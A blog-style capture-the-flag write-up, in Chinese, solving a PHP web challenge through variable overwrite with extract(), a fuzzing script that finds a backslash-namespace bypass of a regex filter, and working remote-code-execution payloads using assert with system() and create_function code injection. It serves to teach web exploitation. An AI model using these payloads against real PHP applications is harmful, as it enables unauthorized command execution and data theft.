• 【XMCTF】easy-web-考核


    题目

    题目直接给出源代码:

    <?php
    show_source(__FILE__);
    $key = "bad";
    extract($_POST);		// 使用POST接收参数
    if($key === 'bad'){		// $key 与 'bad' 进行比较,值不相同时才可以继续运行代码
        die('badbad!!!');
    }
    $act = @$_GET['act'];	// 获得 act 参数
    $arg = @$_GET['arg'];	// 获得 arg 参数
    if(preg_match('/^[a-z0-9_]*$/isD',$act)) {	// 针对act参数进行过滤
        echo 'check';
    } else {
        $act($arg,'');		// 动态调用
    }
    echo '666';
    

    解题过程

    针对第一个逻辑判断,可以利用PHP变量覆盖漏洞,使用Post传入新的$key进行绕过。

    第二个逻辑判断的位置使用了正则表达式,该正则表达式细节如下:

    /i 不区分大小写

    /s 匹配任何不可见字符,包括空格,TAB,换行

    /D 如果使用 $ 限制结尾字符,则不允许结尾有换行

    总结后得到:该表达式匹配所有字母,数字和下划线开头的字符串,我们可以通过控制 $act 决定执行何种函数。

    编写脚本尝试fuzz可以bypass的字符:

    import requests
    
    url = "http://xmctf.top:8872/?act="
    getPayload = "var_dump&arg=time"
    postPayload = {
         'key': '123'
    }
    
    for i in range(1, 256):
         payload = url + "%" + hex(i).replace('0x', '') + getPayload
         re = requests.post(url=payload, data=postPayload)
         if 'time' in re.text:
              print (payload)
    

    得到 %5c,即 ,可以让 var_dump 成功执行,

    php 里默认命名空间是 ,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

    这时只要寻找一个能够执行命令同时有两个参数的函数,eval无法胜任,而assert可以传入两个参数。

    使用payload:http://xmctf.top:8872/?act=%5cassert&arg=system('cat ../ffflll4g'),即可读取flag。

    扩展

    在查阅资料的时候发现,本题的第二部分改编自大佬代码审计的题目,并降低了部分难度。

    原题目如下:

    <?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '';
    
    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
        show_source(__FILE__);
    } else {
        $action('', $arg);
    }
    

    原题目中可以使用create_function()函数,该函数相关知识前面整理过,这里粘贴出来:

    string create_function ( string $args , string $code )
    

    该函数用来创建匿名函数。
    这个函数的实现大概是这样的

    $b = create_function('$name','echo $name;');
    //实现
    function __lambda_func($name){
    	echo $name;
    }
    $b(yang);
    
    1. 如果可控在第一个参数,需要闭合圆括号和大括号:create_function('){}phpinfo();//', '');

    2. 如果可控在第二个参数,需要闭合大括号:create_function('', '}phpinfo();//');

    得到payload:?action=create_function&arg=}phpinfo();/*

  • 相关阅读:
    布隆去重
    正则匹配
    js常见类型变量的遍历
    汉印MT800 win10电脑蓝牙打印驱动设置
    [Tips] 基于ohmyzsh安装powerlevel10k
    加载加密sqlite到内存
    使用Jmeter 压力测试
    vue实现为页面加水印
    【对象存储】minio集群部署
    StringGrid单元格绑定ComboBox、DateTimePicker或窗口传值
  • 原文地址:https://www.cnblogs.com/chalan630/p/13818176.html
Copyright © 2020-2023  润新知